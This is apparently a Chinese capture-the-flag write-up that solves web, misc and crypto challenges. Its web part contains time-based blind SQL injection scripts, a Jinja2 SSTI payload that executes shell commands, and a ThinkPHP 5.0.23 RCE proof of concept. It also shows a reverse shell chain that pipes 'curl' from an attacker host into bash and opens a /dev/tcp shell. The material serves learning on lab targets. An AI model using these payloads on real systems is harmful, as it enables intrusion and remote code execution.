据说是一场萌新赛,做了几道题,简单记录一下。

WEB

简单注入

给出了hint.txt文件:

1
2
3
4
5
6
Only u input the correct password then u can get the flag
and p3rh4ps wants a girl friend.

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

//鍑洪浜哄洓绾у帇绾挎墠杩� 瑙佽皡瑙佽皡 棰嗕細绮剧

fuzz发现过滤如下:

1
and union select like mid & && ' " - =

发现' "都被过滤了,就不能进行联合注入了,所以把思路转向盲注

如果将username后面的单引号转义掉,那么password后面第一个单引号就会和前面的单引号形成闭合,这样password后面的就逃逸出来了,以此编写盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import time

url = 'http://e24c58ed-ca45-43fd-891f-64d480e4315d.node3.buuoj.cn/'

flag = ''
for i in range(1, 100): # mysql中substr()从1开始
for j in range(33, 128):
payload = {"username": "\\", "password": "or if(ascii(substr(password,{},1))<>{},0,sleep(2))#".format(i,j)} # =被过滤了,所以使用<>替代!=
print(payload)
start_time = time.time()
req = requests.post(url, data=payload)
if (time.time() - start_time) > 1.5:
flag += chr(j)
print(flag)
break

gtfly大佬的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import time

url = 'http://2d9c51e1-d6b9-466a-9232-cadb6c2ffeaf.node3.buuoj.cn'

flag = ''

for i in range(1, 100):
print(i)
for j in range(33, 128):
data = {"username":"\\", "password": "|| if(ascii(substr(password,{},1))<>{},0,sleep(3))#".format(i, j)}
print(data)
#time.sleep(1)
try:
req = requests.post(url, data=data, timeout=2) # timeout=2即如果请求超出2s则抛出异常
except:
flag += chr(j)
print(flag)
break

爆破出密码:OhyOuFOuNdit,登录得到flag

xss之光

fake google

打开靶机为一个Google搜索页面,随便搜索一下跳转页面,在网页源代码里得到hint:ssssssti & a little trick,得知该题考察的是SSTI,直接拿P神的POC就可以打出flag

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("cat /flag").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

old-hack

根据Powered By THINKPHP5猜想可能是一道RCE,看了一下版本是TP5.0.23,然后直接找了一下POC就打出来了

POC:

1
2
3
POST /index.php?s=captcha

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag

duangShell

根据hint:how can i give you source code? .swp?!,可知源码泄露,但是此处该文件是隐藏文件,需要在前面添加一个点,即.index.php.swp,得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
} else {
$girl = $_POST['girl_friend'];
if (preg_match('/\>|\\\/', $girl)) {
die('just girl');
} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
} else {
//duangShell~~~~
exec($girl);
}
}

审计发现就是过滤了一些东西,以POST传参传入firl_friend,然后进行命令执行,对于过滤,此处可以通过curl反弹shell

首先通过小号开启一台靶机,创建index.php文件并写入:

1
bash -i >& /dev/tcp/IP/端口 0>&1

然后开启Web服务:

1
php -S 0.0.0.0:8888

再开启一个终端监听写入bash的端口:

1
nc -lvnp 端口

然后POST传参:

1
girl_friend=curl IP:8888 | bash

发包反弹shell后便可直接读取flag。

Schrödinger

访问页面后描述是让计算出密码,在源代码处发现提示Note : Remenmber to remove test.php!,访问test.php后是一个登陆页面,尝试了弱密码和万能密码无法登录,注入也没有回显:

然后将test.php的URL进行Input的时候抓包修改Cookie里面的dXNlcg值为任意其他数,会发现成功率达到了99.5%:

接着输入任意内容点击Check会给出B站av号:

在该视频评论区找到flag:

假猪套天下第一

首先是一个登录页面,可以除admin以外任意账号登录,登录后会有跳转,对跳转抓包发现L0g1n.php

访问后发现就是修改Http请求头那些事,层层绕过,最终Payload:

1
2
3
4
5
6
User-Agent: Contiki/1.0 (Commodore 64;http://dunkels.com/adam/contiki/)
Client-ip: 127.0.0.1
From: root@gem-love.com
Referer: gem-love.com
Via: y1ng.vip
Cookie: PHPSESSID=5he3ch1pgcd07su9625rfc4160; time=1584870694999

MISC

最简单的misc

查看十六进制查看数据为PNG图片,但是缺少PNG头,添加头后修改后缀后可打开图片,将十六进制转为字符串得到flag:

A_Beautiful_Picture

看了一下图片的分辨率,发现高度被修改了,应该是一张1:1的图片,修改图片数据还原后就能得到flag

EasyBaBa

在图片中分离出另一张图片,但是无法打开,查看文件头得知是AVI文件,修改后缀后打开发现在视频中添加了二维码,需要进行分帧,通过FFmpeg分帧得到四张二维码

命令:

1
ffmpeg -i 里面都是出题人.avi -r 30 A%3d.png

此处我分了30帧,因为帧数太低会缺少一张二维码,扫描二维码得到十六进制,扫描不出的就通过Photoshop修改曲线,这也是我分PNG文件的原因,最终将十六进制转字符串得到flag。(最后一张没扫出来,我是猜出来的。)

小姐姐

这题估计是翻车了,直接记事本就能搜到flag,不知道预期解是什么。

CRYPTO

老文盲了

将题目给的看不懂的文字通过在线汉字转拼音网站转为拼音,读了后得知那段文字就是flag,得到flag:BJD{淛匶襫黼瀬鎶軄鶛驕鳓哵}

燕言燕语

题目给出一段十六进制,转字符串后得到:

1
yanzi ZJQ{xilzv_iqssuhoc_suzjg}

看着像是凯撒密码,尝试之后发现并不对,想到解出来的字符串中有yanzi,所以想到另外一种在凯撒密码基础上产生的另一种密码:维吉尼亚密码yanzi即为密钥,解密即可:

Y1nglish

quipquip解密,规则是MIH=BJD,同时还要将Cr4cy改成Cr4ck

灵能精通

圣堂武士密码,猪圈密码的变种:

rsa0

给出了e``p + q``p - q``c,写脚本解密得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import gmpy2
from Crypto.Util.number import long_to_bytes

e =
tmp1 = p + q
tmp2 = p - q
c =

p = (tmp1 + tmp2) / 2
q = tmp1 - p
d = gmpy2.invert(e, (p - 1) * (q - 1))
flag = pow(c, d, p * q)
flag = long_to_bytes(flag)
print flag